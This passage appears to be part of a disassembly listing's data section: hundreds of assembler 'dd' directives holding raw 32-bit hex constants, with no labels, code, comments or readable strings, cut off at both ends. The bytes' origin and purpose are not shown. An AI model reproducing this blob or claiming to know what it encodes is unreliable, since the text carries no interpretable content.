1AA39FC1h dd 39C89E31h, 8EE84AE9h, 0C5C4841h, 8246677h, 840021CFh dd 0F6C9F02h, 3CC4732h, 0A864FF97h, 689E7F29h, 364CBD34h dd 4E2BC07h, 182083A3h, 6819D210h, 2972B0E4h, 201BC8A3h dd 398DBFBh, 0C8DCA3C9h, 5040D579h, 4D60EDE4h, 3A6F340h dd 146F12ACh, 7C1C0178h, 40FD7155h, 0EEDD89B8h, 0F4615612h dd 9A9C3040h, 0F347B5h, 6635E223h, 2B3DA7E5h, 8C00D37Ah dd 0BFAD9AD7h, 511FF9h, 390171B4h, 4D926948h, 80167938h dd 8C88D6CBh, 0C140ECh, 36552077h, 0B8EE5A29h, 84C76300h dd 4BED7BFEh, 1E2B00D5h, 2E3A44F4h, 0C500BF9Fh, 214362EEh dd 0C6D282h, 766E0993h, 925229B3h, 0B6475600h, 0D670CC41h dd 258C07D7h, 0E0C726F2h, 0E276F4DEh, 8E69BC1Fh, 0F70D6680h dd 3ECF649Bh, 0C507B1DDh, 0D0EF372Dh, 28074F58h, 248DA500h dd 25DDF365h, 64260018h, 0EE0F8BD6h, 91005FA7h, 0A14045A9h dd 68174Fh, 0C0BD5D29h, 54FB1423h, 9D09B303h, 0B8F524h dd 0DE078E20h, 57F9D4B0h, 0EE3B7F00h, 0A4A152CCh, 0C76E18DAh dd 7582841h, 0AFCAA300h, 0CDB5F4A8h, 15578CCh, 41BAD31Ch dd 0FC73905Dh, 470FE6B3h, 0A37EC4FFh, 4D215Fh, 0FB5BD841h dd 0E5E1ABB9h, 0DDECCF07h, 0F500B6Eh, 7910A633h, 0DA731816h dd 0B2CE807Fh, 9C254B07h, 38D09A66h, 0DFD0EDh, 0E137CB7Eh dd 8CC16AE6h, 4F9C5B00h, 0B919C810h, 79D23AA9h, 0DDA45900h dd 0B263F36Fh, 0C31B3Fh dd 5A246836h, 0C496E7h, 9163E90h, 288A947h, 91ABDD18h dd 0EF2530h, 6C065CA4h, 0A6AEA38Ch, 10F118C3h, 91500012h dd 780A7F7Eh, 600F5D37h, 806AAE86h, 6C844311h, 5C243C92h dd 4E01CC40h, 3F86789h, 8BD03412h, 6BA018FAh, 64DF7183h dd 26D1A900h, 9D1F16A5h, 5C211C7Dh, 8DEEC058h, 612C1207h dd 780074FCh, 0EAA4E5E8h, 107DA2h, 454CF3FEh, 15B28BB3h dd 0C36B8D00h, 7C239616h, 630FF206h, 172EC907h, 0EF561806h dd 0E065D8h, 0E0276AC9h, 93A1F6D2h, 0B9698433h, 2535F8BDh dd 88080E67h, 0FF80E123h, 7AFBE7C8h, 241F287Ch, 0DA033E18h dd 390FC95h, 435F1618h, 0C0E53D87h, 0FDE8A1C9h, 0B1CD2217h dd 3A2100Fh, 90835737h, 0E7DC6DBh, 764EE275h, 2023BF86h dd 1ABD9600h, 370E0B47h, 32C906C3h, 4057EA2Ah, 293CFA01h dd 826B5F20h, 691968B6h, 2B02D146h, 66DB3B84h, 21B90331h dd 0AB1AD100h, 0AF455BE5h, 9422A900h, 84DDDC73h, 0A3D0C492h dd 5B6BC3E8h, 0C20068A6h, 2A2B1140h, 31103B9Ch, 56083421h dd 0E12080E9h, 0BF6E1154h, 1B5D0018h, 6BFA1CB3h, 81EEEF28h dd 0FDDCB0C7h, 0A4427905h, 0C0BE50Fh, 95F02FC0h, 8102460h dd 482F4h, 0CDD180E6h, 8D41E96Dh, 0F6DC140Ch, 7B2E12F5h dd 0C7030059h, 8EC1BAE3h, 0EAEC90A4h, 0F2DAB90Fh, 4E2AC070h dd 6B92FDh, 8B69317Fh, 6250C130h, 0BB057300h, 0D6B988FAh dd 0F2A726Eh, 17DDB82h, 2EF1AE00h, 5360D773h, 8D0F0232h dd 764FF06Dh, 0A8CAA39Eh, 5D3E68h, 2DF4C84Dh, 0E13A48B0h dd 78FA7600h, 0E5ED280Eh, 0B7EA0079h, 0BCEBF11h, 777B8FCh dd 2056E600h, 83B22119h, 411D10Eh, 10F7DDA0h, 748810C3h dd 3124C0B1h, 20C70053h, 2C76EF83h, 0A9F8D484h, 1594901h dd 0DE67D890h, 0C5DF2888h, 85F26184h, 0A5426D08h, 0C4FB2275h dd 21135D23h, 6B108151h, 0C3C478Ah, 6551F55Dh, 66B32284h dd 44296360h, 6C1B55h, 511222CFh, 7CE1E4A2h, 6DDFB500h dd 0FAB2B63Fh, 0B9E90385h, 645F0F68h, 30342EF0h, 3B397AFAh dd 46810387h, 98289AB6h, 1849C15h, 0A69EC2B0h, 0C499834Ah dd 74002E38h, 60C67CB9h, 3D189h, 0A7B096CAh, 8A7F4748h dd 0EE791700h, 0C7F7AF34h, 0B70A037Bh, 0B43DE2CCh, 40279DD1h dd 5705B1B8h, 0F5808C03h, 987ED6D4h, 0CEE30Dh, 0CD2CF7AEh dd 0D0694614h, 0BF0010DCh, 1E22F465h, 0CEB40F3Eh, 32822C9Eh dd 0E4A1BD25h, 60A3A14Fh, 1DF85463h, 518CE503h, 0C88BF4BBh dd 983A36h, 4347406h, 0CF8B79Dh, 32F5D30Fh, 4B6DA018h dd 0FAF3BE57h, 0BA65078Eh, 13B616F4h, 0DCC092BDh, 0C200B5E4h dd 91D76CB9h, 7642EA2h, 0CC7C9FACh, 0F6502042h, 0FE2636E5h dd 0BF3D1F11h, 2526808Dh, 241FBDC5h, 0AA9D3C69h, 1C010E93h dd 56641DCh, 0E447B8C8h, 0B90E0F4Dh, 0C0D52554h, 0B095F250h dd 0C235003Bh, 9D5D9E60h, 900B1A6h, 0AD8C380h, 0FBD9CFh dd 0F4974377h, 8C745C7Dh, 33302801h, 5ACA8D6Bh, 0AFBCE8h dd 0EEDEB0DCh, 0FD3A38A5h, 0C4A0C67Bh, 6600F6B3h, 45C7BB48h dd 594187h, 0FE517895h, 6722CB91h, 0D401EE00h, 0F83323DCh dd 0BBD8009Dh, 0E7E593CEh, 3F035197h, 0EB7B235h, 4824BAB4h dd 0EAA761Ch, 376D4A7Ah, 8FF7BB47h, 64E4DE40h, 100413Dh dd 7943926Fh, 24254C42h, 0FEE7CAh, 2A907BCCh, 0FC065CB5h dd 0E010C0AFh, 0AE380010h, 0C5E112ECh, 0E8120CC1h, 0E009D7A7h dd 305018C3h, 0C1D9005Ah, 815D58EEh, 84002405h, 947934E4h dd 0A6D8F8h, 0F0A70928h, 7BE38F4Eh, 2686D60Fh, 0ACC0AEDEh dd 217172h, 28FFCD25h, 2B99F4BEh, 0FA48CEE6h, 0F8560091h dd 51C93730h, 0FF3C0783h, 20933885h, 8E817CA8h, 46CE8201h dd 21F4505Eh, 3DEC95CCh, 9A00D7D2h, 0BFD31792h, 2006F1Fh dd 9636E368h, 2428300Bh, 681EBDh, 9484216h, 873F88DAh dd 0ECBF8797h, 0CC907AA7h, 0E083D0B8h, 1BCE00D3h, 0B2A04249h dd 0FA00A4AEh, 5190DCCFh, 4CD81h, 63E210C2h, 5CC83F0Fh dd 0FC45B500h, 0DA18CA4h, 0AB5400CFh, 89DC23D7h, 787BBD38h dd 16D93B33h, 0F44F88F7h, 0A10401F6h, 7770205Bh, 89B7E4D5h dd 603D685Ch, 96095F20h, 2544005Dh, 82108BB9h, 0C800244Ah dd 16AC9E4Eh, 0A7E3F8h, 3216CAEh, 7B468B37h, 12384A00h dd 0CB9F40A6h, 0F7EA03E2h, 26D80E16h, 78DDB2C0h, 33C28C07h dd 1930E918h, 0C51F31h, 5A69162Ch, 7AB6523Dh, 9F81620Fh dd 59EB41h, 4B8F81Ah, 9B5A0005h, 0D334F46Fh, 28C07BB2h dd 51ECB3F5h, 82E100EDh, 73B957B0h, 7200CCE3h, 56FB5A04h dd 72E7A55h, 0AE08D916h, 9629A0B5h, 3B006F1Ch, 97DD1A03h dd 14317EF0h, 0F21F2636h, 0BB6C12h, 0E9B18C58h, 66053C9Bh dd 7495B8CBh, 7C32F000h, 3CDEF91Fh, 0D480613Ah, 278757CAh dd 6A009ADDh, 0F54C457Ah, 31048E2h, 4D9F1379h, 0FEA08292h dd 96037593h, 814903ECh, 425EA009h, 0EB5A009Ch, 47A36315h dd 0A809377Ch, 0D824C9h, 0D6126039h, 465F0080h, 8DC092CBh dd 810070BCh, 3C740B07h, 9352896h, 452AB46Dh, 85D46780h dd 2200F70Ah, 9CE3E86h, 78B9ADh, 2EB2088Fh, 0F84FC68Eh dd 5AE01F00h, 0BA35470Ah, 1CF500ADh, 9B0659C4h, 0AB0030DBh dd 0EE88B74h, 5F44AFh, 0F583315Ch, 5316BE6Ah, 0D1528800h dd 92071B8Fh, 0A1039015h, 7BF0F76Fh, 73E101A4h, 0FD58A845h dd 1B0BB47h, 7D9EDDE8h, 48E008F6h, 2682ECBCh, 0D3B0DEh dd 490D36F1h, 6D0004D3h, 174421D2h, 59BAA5E6h, 6B0F04C5h dd 63C1D7D4h, 20C8AD56h, 9E2C0408h, 7040C7Ah, 10D07C82h dd 0CB6B1h, 42212A2Dh, 46AB9E3Bh, 0ED968803h, 0D0CB9948h dd 24C27BCEh, 249D86h, 0B6F63671h, 42002FD2h, 519906EAh dd 1E2128B1h, 0C0C4B70Eh, 1833E7Ch, 34E395DCh, 161DBAB0h dd 0EB40280Fh, 0DF8B59D5h, 0B2DD0040h, 3FA5E7E4h, 0AB00AAA2h dd 0B7F12C14h, 0EEF78B05h, 0B430FF68h, 0B68E00D2h, 8FE9E5ADh dd 0D448C244h, 20D303B3h, 90233633h, 0AB0B239h, 0BD487B0Ch dd 407C1FC1h, 526A1F78h, 75286227h, 0C300809Eh, 4EAA0E05h dd 0A0FC58h, 8933A991h, 0F240E916h, 4AC7B70Ch, 36D21F5h dd 98C0A407h, 7C1E85AAh, 0EF402E63h, 0A26CCA32h, 0E37320h dd 0B6DF2D4Fh, 7CF9EB8Bh, 93D24600h, 30038CCAh, 57BE0059h dd 9F3B770Dh, 37734487h, 0EF12000h, 0D57AF803h, 0A2E60B85h dd 787255Ah, 0F6571012h, 0AB165B39h, 660049D0h, 0A982A801h dd 966707FAh, 0A14C5581h, 0F485DC76h, 1F50E702h, 0F30ED895h dd 1712C3CCh, 2DBB1C00h, 1B09733h, 875B2F78h, 0E5887F32h dd 38DC4D0h, 40189400h, 72782B34h, 86C400BAh, 1DB51795h dd 130169D2h, 4EB90D2Ch, 0A04004F9h, 1748EF97h, 2089B49Fh dd 310FC074h, 200018DDh, 9799E52Eh, 5EBF1682h, 7DC000ACh dd 2588F2E3h, 0DFED1900h, 30A0C88Eh, 0C49E00E4h, 581A264Bh dd 38E86493h, 5076D5EEh, 3B7FE901h, 0D02E653Dh, 0C5F81E8h dd 0D622E1FCh, 17E01F20h, 0DBD17318h, 0AFDA10h, 1A3CDE84h dd 6303233Ah, 3E01477Dh, 0C0FE01B8h, 0EBC870A6h, 0B44E005Ah dd 0C996764Dh, 0EE00EA49h, 6EED5546h, 7FF273h, 0E2D96856h dd 22867790h, 0C04FDD00h, 74DC82C9h, 41800013h, 8DB50E89h dd 7E7744D3h, 7C85B401h, 0C3940439h, 71F8F4h, 605B6519h dd 0D50EBF61h, 7300A67Bh dd 0AFEA8817h, 18CC1E7h, 0C6EC0C18h, 0C30A2630h, 80E9800h dd 0F9C1CD05h, 9F7E00CCh, 0DF91FD34h, 0EA06A919h, 2FF447F1h dd 0B1400E8h, 96F7BFB5h, 0F80076FDh, 0DA900F9Fh, 0BD9E7Fh dd 8B665A2Ah, 3FA42924h, 0E57D9301h, 0B3E2DE8h, 0A1E960h dd 5780ED05h, 807AF44h, 0A20EF300h, 95902486h, 8A030652h dd 0F8BCD656h, 1207701h, 47B5D355h, 7A8BC4h, 0B38DF1A5h dd 0A494B0EFh, 22998500h, 2272951h, 66FEECh, 0B1E4A8FFh dd 0AC05CC06h, 10F77430h, 0F1B69h, 0F6E985FBh, 0EBEEDAD8h dd 0AC185C00h, 2E3721C0h, 8984249Ah, 70A70000h, 0E9880C19h dd 228FAB03h, 0B0C41506h, 548A2EDh, 0A924BD65h, 7BFDC3F6h dd 0F13A5A98h, 0EB46350Eh, 0CFED0017h, 3B6832Eh, 6FF79AB8h dd 99B32375h, 4F043AA0h, 6A8C10C0h, 0CF133Ch, 0A2C44314h dd 0E8961658h, 40EFEB00h, 0CE796089h, 0F89F0152h, 74DEEECBh dd 7A09D023h, 0AE47E900h, 0DC99A457h, 5D830002h, 743485Fh dd 0A7000418h, 976D771Bh, 0E67053h, 7D3AACC2h, 0B360929Ch dd 6B7B8200h, 2F29B08Dh, 76787CC3h, 0E3B8A979h, 55D970h dd 48BC2C77h, 0C1E27590h, 600FA401h, 1A86D776h, 9971F8h dd 3719EBA7h, 7BFE9A41h, 5F486474h, 0E7067EACh, 0CC8BBD32h dd 88E810h, 96799F0Fh, 0F43E3BA3h, 43BC3203h, 0A8B185F5h dd 1EE3C742h, 0C07C9931h, 8C0FAA2Fh, 306D691h, 0B17549F3h dd 6125004Ch, 115D3DCh, 2E008448h, 0B36C8BF1h, 8D8A41h dd 4224542Bh, 681E0277h, 0AE716503h, 0C80FD9E4h, 1D0D8721h dd 802C9A32h, 5F5CBEABh, 0D57FFD2Eh, 414FFC00h, 60548D38h dd 0AAE81C35h, 7BB1C3CFh, 59986B87h, 0B500D783h, 252B5720h dd 8AFE0Ch, 0AFE7C889h, 43F44515h, 0F4EDE224h, 2AA2F300h dd 0FCF82366h, 41310B1Eh, 5801376Ah, 0D43FCE50h, 0FD00C3C7h dd 70672AAEh, 4CDA70Ch, 5549B0AAh, 5ECC80FCh, 0DD0C7A59h dd 76F471F2h, 0BED2014Eh, 358B44FDh, 2805E7AEh, 0E958E2BFh dd 0B300BEBCh, 1E5AB51Dh, 813995Eh, 0E71Ah, 6E0D3851h dd 737ED6h, 84892C67h, 0C6B7804Eh, 64417407h, 6E30D983h dd 0A6B9EC4h, 38EEC123h, 77D800ACh, 0BFD099F4h, 942D7800h dd 1830DA6Dh, 12B10066h, 0C3DB1DBDh, 20254BEh, 24DD4B11h dd 513C4091h, 145602B8h, 0D297C16Fh, 7366A880h, 93079F1Bh dd 9EC60876h, 55BE67F0h, 57E82C0Dh, 0AA9B00B5h, 98966C37h dd 0C6739100h, 1A8F3D69h, 0A097601Bh, 9412224h, 96D1CE39h dd 0FA1EEAA1h, 2A007B53h, 6F2EFB85h, 9F700F3Fh, 42E076C3h dd 86983447h, 0F4E79707h, 6EB161CCh, 71FC8B01h, 0FEEA0268h dd 0E4480737h, 0ED0CA840h, 66284300h, 0F401E724h, 13A8EE13h dd 0F82017h, 3A27B82Ch, 962C9789h, 0C9187746h, 12541F8h dd 9E19C1CEh, 40BA1E80h, 0CA4DDEDFh, 3FEEED00h, 0B583AC7Fh dd 0BD878C5h, 6280653Bh, 600860Fh, 98606E48h, 8AB1EB00h dd 9399C7Eh, 9FC100C5h, 7245CEE4h, 2098FEDFh, 42BEFB10h dd 488692Ah, 11EACB0Fh, 1CC2804Fh, 61025552h, 0D9135C5Dh dd 0AC70C107h, 170CEE60h, 48A2C7Dh, 0C083D799h, 90D51910h dd 0E034F00h, 0A473ABC7h, 75501E7h, 0C29977F3h, 81DED854h dd 0B1E99C00h, 43649E6Ah, 40130009h, 387AEBD2h, 0E100606Dh dd 7976A4ADh, 0B86BC0CAh, 6AD51FC9h, 99531Bh, 4A9490C5h dd 3C00AC81h, 6E501E05h, 0ED0F0Eh, 3B385C89h, 0AAD2960Ah dd 7E0C5A00h, 0F20E508Dh, 628B2664h, 0C1107D00h, 3CC91AB0h dd 0A401062Ch, 0BF5D0F41h, 6EB1420h, 57AB9C73h, 0FF0210C8h dd 46E7DDE0h, 0F3C4609Ah, 21437FC7h, 0C800A0B3h, 0FC5CF9E8h dd 0AFC3003Eh, 0BBB557BAh, 0A276B7E2h, 0CC707800h, 62E52408h dd 8790095Eh, 83716Fh, 0B6A029DEh, 0D0160FA8h, 5400AA92h dd 520A8562h, 5FB40010h, 21F26DFDh, 60E9D9F6h, 33019B8Ch dd 0B7FAE5A0h, 0C300F02Fh, 0C41E09A4h, 7A57D1C0h, 0E3280800h dd 0B921762h, 0CAD07216h, 9AD54400h, 90031CE0h, 4A78E471h dd 47181E82h, 37ED805Fh, 0F6C2AE24h, 0C0071B8h, 1B4D44EBh dd 992E2BAh, 1D516769h, 0E08B9780h, 0EE003A4Ah, 210325FAh dd 0E46ECC7h, 595F62DBh, 0F56DDF60h, 960B1F7Eh, 2052B9h dd 0BEC17055h, 0FF9E2CCEh, 6646034Eh, 68F03C02h, 0B0A04A42h dd 2D004079h, 0EFE9F643h, 7E344C9h, 275CB92Ah, 853F924Bh dd 0B6A04860h, 30D4AC00h, 0F5AABF4Fh, 460F0022h, 0BB49F0BDh dd 45F441EFh, 0AE936113h, 5A9C3800h, 0F0F369BAh, 27780E0Eh dd 4033C9FFh, 231ABED8h, 6E173D38h, 0CCE02E61h, 0F1EE0A7Eh dd 0D0A0A7h, 753F37AFh, 4013C81h, 4938A2F4h, 4AFCDE2Ch dd 0FDB800ECh, 79F51A12h, 0ED00DFD7h, 0FEC5B660h, 0E7A6507h dd 4B52C4Dh, 64BBC9C0h, 0E0B21C46h, 74B1B00h, 0A573D0F4h dd 0C215CA9h, 5037C5Ch, 855754C9h, 0D840BF8Ah, 6E248A5Eh dd 0D500ADD3h, 0A246B48Dh, 0CFA03E1h, 0D941585Ah, 0DB917790h dd 0DC39FE00h, 0B13A3B3Dh, 0CD493BE2h, 0C0C7EE1Eh, 6F31E699h dd 930F5BCCh, 0AFD3AC25h, 203043EFh, 5827A89Ch, 0C7E28Dh dd 0F039D6DFh, 0A2165D81h, 0B565EE00h, 32E39F9Bh, 290B8A4h dd 0F2942856h, 0E060795Fh, 0C400B61Bh, 3C4073BCh, 123A1D4Ch dd 5BE59Ch, 0A42489FCh, 0AC009F29h, 98DFA01h, 0F257021h dd 40E705B4h, 0E780B90Bh, 0CD6D784Bh, 0C8358900h, 0AACC4A1h dd 6CE261h, 31442148h, 0E98CE2B6h, 0D3F3F600h, 60BDFEACh dd 0F4510019h, 855CBEDh, 661D8469h, 0A91E5A8Eh, 6E2C803Bh dd 3CEF9D94h, 48051F7Dh, 5EE400A8h, 2AE5C5C4h, 6ECC5618h dd 219330h, 7AC9D08Eh, 75115267h, 1E88B300h, 0F94C8BE3h dd 9406117Bh, 0E63C00C9h, 9590C4F6h, 0D12A288Fh, 7C61C33Ch dd 19B89328h, 0E9B06275h, 0A40D5A00h, 351339ECh, 8FA83042h dd 95056930h, 50DBC933h, 0AFBE9321h, 28BEE2C6h, 0EAD7163h dd 6D67FB58h, 24AAEEC3h, 32C2E4A8h, 0CF6E141Ch, 0CDD1F504h dd 0D974DB80h, 0EA3ECF8h, 0C95E5F9Fh, 1C3908E0h, 0E4000AB2h dd 76245D84h, 0FCC0493Dh, 73943E82h, 2A05DC80h, 86E01B3Eh dd 0DFD55F00h, 6776FDA3h, 7FF2F06Ah, 0C2E20EFFh, 65C01F9Ch dd 0F733AB9Dh, 418CA11Fh, 1D813D83h, 77660904h, 0ED00B3D6h dd 5278021Bh, 0EA5DE71Fh, 9E535B8Fh, 80157D09h, 0DFE6BCD3h dd 44323D07h, 4DF2007Eh, 3E18CDEDh, 0AB000E27h, 0CC041CD2h dd 27496E0h, 5FDC33BEh, 5540C2E3h, 870AC1A5h, 0A8E6C5C9h dd 0B4F53687h, 0F6EC4CE0h, 12FF0030h, 48C4D722h, 9A008E91h dd 2FB0737Dh, 19BB2CAh, 0CD34EB8Bh, 0C80EC8F7h, 0D903B7DCh dd 86C99009h, 1CBC008Eh, 0B63D1E3Ah, 0CB029A78h, 83E6029h dd 0A20F4086h, 35B4001Dh, 0EAAD2B31h, 300EB7Ah, 0C387F9F6h dd 150BDDh, 0B6751E9Fh, 681D8B93h, 6B744E07h, 0F981A083h dd 5170A603h, 18970048h, 4F945ABDh, 1E003C4Dh, 9C02E401h dd 798A9CCh, 6BA1997Bh, 0B8095060h, 0E300AA7Fh, 0C834C611h dd 4C89AEh, 0ECFBDC67h, 0DDACEEF4h, 3DE1EF00h, 784008EAh dd 3EFCD1h, 0DFF27B3Ah, 37FF628Ah, 0F4A6CC00h, 8BEFCDEBh dd 0F0B90115h, 5230504Dh, 2469E158h, 0FF031A70h, 2ACFC32Fh dd 0C11AD22h, 2433FC04h, 0EB0C648h, 2D209DB1h, 4553F5A8h dd 46CC0200h, 5BDBCFA9h, 50B60133h, 25B003F3h, 3729909Fh dd 48C1F984h, 290A427Ah dd 22441B22h, 0CE246A81h, 132C9321h, 6044D49Fh, 42F2486Bh dd 832528F1h, 16AD3C04h, 4A53A644h, 67101475h, 0AA447788h dd 12012B21h, 0FF5082CBh, 2FE2593h, 2E408C14h, 2721CF04h dd 11E212DCh, 0C0B30879h, 52BFEF79h, 8812C2A6h, 0DF070337h dd 81E06310h, 0E3C673h, 0F659D0EEh, 69E20C19h, 4265FB07h dd 0E830D14Eh, 0EA336A9h, 0EFD57702h, 28B5E740h, 18F24774h dd 480F5800h, 16C2B0B8h, 809A00BFh, 0D26157D4h, 44E2D7C3h dd 8368AC00h, 0A2857E11h, 0B12C2625h, 543B0EB6h, 0AFAB807Dh dd 269F3E94h, 9E4CE403h, 0A8319ADAh, 1EFEA388h, 0C01E6091h dd 0FACF8934h, 3824838Fh, 96015158h, 0A0F11085h, 50802EFCh dd 0B7F8199h, 31E98653h, 0BF0CA783h, 0AE178790h, 10B5EC30h dd 369F976h, 9FBCD2E9h, 18D098E6h, 74393D56h, 0CCB6h, 35C1AC8Dh dd 69AE2E8h, 232CC419h, 7D0340D1h, 7E66ED68h, 0FF1000ECh dd 0B1F57031h, 2D7C43E8h, 85ED1D01h, 0ADB52844h, 6A0D4880h dd 679718D3h, 94015C01h, 87108B72h, 7BB7ABC4h, 82A6007Bh dd 0D926C2E8h, 84A04D78h, 450CDC98h, 104EE2F4h, 0CD5C0087h dd 0AC3ED726h, 5706467Dh, 7ACF11A3h, 38520120h, 10CDD993h dd 76AE60A4h, 80AF0F00h, 1FA4AD6h, 0B3630F15h, 0B8C0A99Ah dd 1445AAD5h, 52E11000h, 67C34454h, 7EF13E72h, 0B380C0BBh dd 6A74C15Fh, 0B60F1401h, 2016CE09h, 3318D67Fh, 7D610611h dd 3002EDE3h, 0CBD23800h, 0CE8477AEh, 9C7E0092h, 6307C231h dd 0B800504Fh, 9F752F5Ch, 198BE25h, 0E0FABACAh, 0D14ADF92h dd 4CEE70ADh, 18827D00h, 0FF8D412Fh, 6D210001h, 0A29DEB5Dh dd 1500C12Eh, 907FA56Eh, 0DD79BCh, 3B6C46F1h, 9CB9FCCAh dd 0AC8B2700h, 11375658h, 9740044h, 0CEBC0786h, 18010522h dd 0C1AE82AFh, 80E40CA1h, 49CF0028h, 0D477E76h, 2E0F16D2h dd 0E763AADBh, 9E509836h, 7150A0A7h, 93D006C3h, 11FA79F3h dd 53945E00h, 0FB5B013Ah, 448B0C22h, 3562E3A7h, 6BD024h dd 6AFF2B80h, 0E8A80h, 4E1DE0E2h, 0F4C47A3h, 0AFD9DB09h dd 0AA0D869h, 0CD51C6A7h, 958E0FECh, 766FDCE0h, 0C90EBAE5h dd 0E13944BEh, 0FF078CCCh, 0B870D3h, 587C4BD2h, 35B1097Ah dd 96C45D01h, 0ACCE4DF1h, 8911F8h, 58DB8DAEh, 5153C6C5h dd 7400EFEEh, 9A4BE0CDh, 4EA7B7h, 0C05458AFh, 0B550306Eh dd 353C9300h, 1C56A57h, 4B080228h, 0FA8E5B17h, 0ACE8055h dd 152E03Ah, 0A5887B3Fh, 60735581h, 0EBF6BA36h, 379A6D16h dd 15F7DA00h, 7853D5E9h, 0C45100CCh, 0AAC3312Bh, 9100133Dh dd 788D9804h, 2602CA5Dh, 30DD0Dh, 6B552819h, 0A9000E41h dd 0E3CD444Ah, 3877E72Bh, 0F00FEBCAh, 2408EE6h, 0EE4ABAA6h dd 0B69B4E00h, 41185475h, 34E1009Ch, 0C879EB4Fh, 5B00E3E6h dd 8DA65ED5h, 0DA4974h, 3386A820h, 0B7B0426Ah, 5DEC73Ch dd 0B808D25Bh, 0C5FF400h, 0FF509198h, 65951081h, 40A17511h dd 8C0E29C0h, 9376A505h, 9EC0CF90h, 90692160h, 0F5FE2Eh dd 92A8173Fh, 5635A337h, 9A590A00h, 0EDFB01B6h, 0AEE600DEh dd 31A16A2h, 0BD004C64h, 0F95FDA09h, 0BC8F9Dh, 2C316DB7h dd 3EACB1E7h, 0FBE00401h, 0FFDF679Eh, 4BA0330h, 0E78B267Ch dd 43A88048h, 41572DBh, 0E0313Ah, 0A549371Ah, 0A4137Ah dd 8B3C46DFh, 0F82502A6h, 611D400h, 0E287BED9h, 561400ECh dd 0C4E36EC5h, 0AF12DF40h, 0A8004578h, 0CE442FBEh, 7E960020h dd 46B5DE24h, 751C838Bh, 55401969h, 0AEA444A8h, 7DA0090Fh dd 68009F21h, 248F7B30h, 5973C300h, 81389506h, 46D41492h dd 8B02ACE5h, 6440C10Eh, 5BAD9000h, 286C005Fh, 1B358FE2h dd 3B0FF742h, 0EF115DA9h, 8BB2E0C9h, 267ECB3Fh, 859F9Eh dd 91BAEC7h, 8E01B53Bh, 0C5FCB14Dh, 0CC30EFF5h, 6E33006Dh dd 342F0F13h, 60304284h, 8BFB7003h, 103A2E64h, 0CD7F07B9h dd 214FB223h, 2BF027E0h, 0AC14BA00h, 0E7F16EFAh, 9528C01Eh dd 0E3E81DF6h, 0DA78D701h, 2C4093D5h, 0E078C30h, 20272EBBh dd 7CC458Ah, 0D08EC41Fh, 0F6C86D56h, 0F4402400h, 5A87FA31h dd 3A813E67h, 0A2E46402h, 0BCC0B571h, 13077CC5h, 1B97BF7Dh dd 20EE3250h, 279400E7h, 64BE2D5Fh, 17003B8Bh, 0A67CDC0h dd 0DFD9BFh, 6C901D21h, 9E306F3Ch, 8EC86A09h, 5FACA0FDh dd 5C2417E1h, 0FF00B960h, 0E457C5E3h, 0E0FE5A04h, 5010F903h dd 0B8028DFEh, 389D7028h, 6680DA07h, 7D5671AFh, 3483D6Ch dd 0CAD600BCh, 23393A58h, 0F467002Eh, 31A4C0EDh, 6200E03Bh dd 0F5A78A6Fh, 436A0Ch, 22C552DAh, 0C7AADD3Ah, 7969700h dd 0E0253BE6h, 19500C8h, 0F343FBD5h, 23078B3Ah, 9C681441h dd 619A5020h, 149B0DDh, 67B849BFh, 20D5808Bh, 0EC07F2E4h dd 0B77E46FEh, 29CCBC60h, 0B375042Ch, 824C8F89h, 0A480D144h dd 73098AD9h, 7A015CB8h, 216899C8h, 5880DFEEh, 59D72260h dd 18074A17h, 0C728F6B8h, 2ACC9190h, 0F17CB7h, 0E030AC98h dd 0B5EDA59Fh, 0EF4CC700h, 0E10A5F24h, 3690077h, 0B0B6E08Eh dd 3B00FEA8h, 0E531B4FDh, 4142FA0h, 0A662CEC0h, 0E4C80F7h dd 7B00B96Dh, 0D6EF40FFh, 0B8CE635Dh, 0D907004Eh, 9EE831Bh dd 60B8170Ch, 350099F4h, 0DC6EE7CBh, 0D5AD2Ah, 37E204F5h dd 0B93149D6h, 20900DE6h, 0BBCECB03h, 80A61AC7h, 3E039475h dd 9D075844h, 0E97B071Ch, 0D91D8C80h, 0FF00DE4Eh, 2BF36076h dd 0E88A6C92h, 0AA7707B7h, 42DF4D46h, 60DD3595h, 49A6A24h dd 284741D4h, 0C91580FAh, 2701CDF8h, 0D3400F35h, 7C200D61h dd 8EC700BEh, 2387E999h, 830085F3h, 0DF4A3817h, 0EC86634Eh dd 0B03363ABh, 62D0FA75h, 551F71CCh, 0D700E2C0h, 0C7E9CED5h dd 0D6201EC2h, 73753E7h, 0F0139E48h, 8F776801h, 2E31F81Dh dd 4D37147h, 5F0649C0h, 55BC048Eh, 85366239h, 738548h dd 3D849DFCh, 6A76634Ch, 0F5C22A0Eh, 0AE871E62h, 1D81ECDCh dd 0D9E0E3B8h, 0AC300ACh, 7DD2F2EBh, 3490ED19h, 0AF29201Dh dd 39A45C9h, 0D073E11Ch, 5DEAEC3Eh, 6A00E8B2h, 869635CDh dd 6B3A51ACh, 0DAD0180h, 6E93C67Fh, 0BC61F4h, 92601129h dd 39C7A787h, 5FE6CC1Eh, 5C552640h, 3FD24E9h, 8879660Ch dd 4AB89D8Bh, 5D743C68h, 35DCD504h, 84989C2Eh, 9FEF0BB7h dd 0E8000EEBh, 0FA67D14Fh, 789DA600h, 488F28C7h, 0B8C060FCh dd 0A82730EAh, 31418109h, 291490D8h, 0EF00079h, 6DD7DACAh dd 6500432Fh, 983716FAh, 113ECBh, 31FD5A01h, 9989BE92h dd 0E1303C07h, 4C50EF2Fh, 0E42903C0h, 0CBBB869h, 223BACE9h dd 0FCB878B0h, 7C5C0F26h, 49B1C600h, 11F2361h, 7C2C06BFh dd 0E070E785h, 1300FBD7h, 736C94FAh, 0B36F927h, 0ACDAB96Bh dd 0D0340380h, 9D7BEFA1h, 0F3C32D00h, 8B24C73h, 3A700Eh dd 0F26C611Dh, 674AFF25h, 0A474B000h, 7B2FDA84h, 0CB0C25A1h dd 0C30065F6h, 5E2B91F5h, 3922830h, 0B94F3EE0h, 1ACA9A8h dd 0A4618782h, 0C0231F46h, 5A7C8BAAh, 672BC20Ch, 0E07B3040h dd 0FCB87989h, 0B7CC1702h, 0FF160782h, 70060B25h, 70982841h dd 4E5F6800h, 1095E8BEh, 35D90059h, 0F7F0A0E0h, 0A612B2D3h dd 7400397Eh, 0CD15B9B4h, 0EF042E42h, 0D58C0095h, 0BADECCD1h dd 84125E00h, 0DD75144h, 3A50004h, 0EFFA81B4h, 0CD005223h dd 0AB4B7BC1h, 18881366h, 5867561Dh, 8904A6F0h, 0E9402DFFh dd 14D0A080h dd 18AB0069h, 0C31CBADDh, 4C48DB24h, 9CAF0AE4h, 5600C026h dd 0BE912D3Eh, 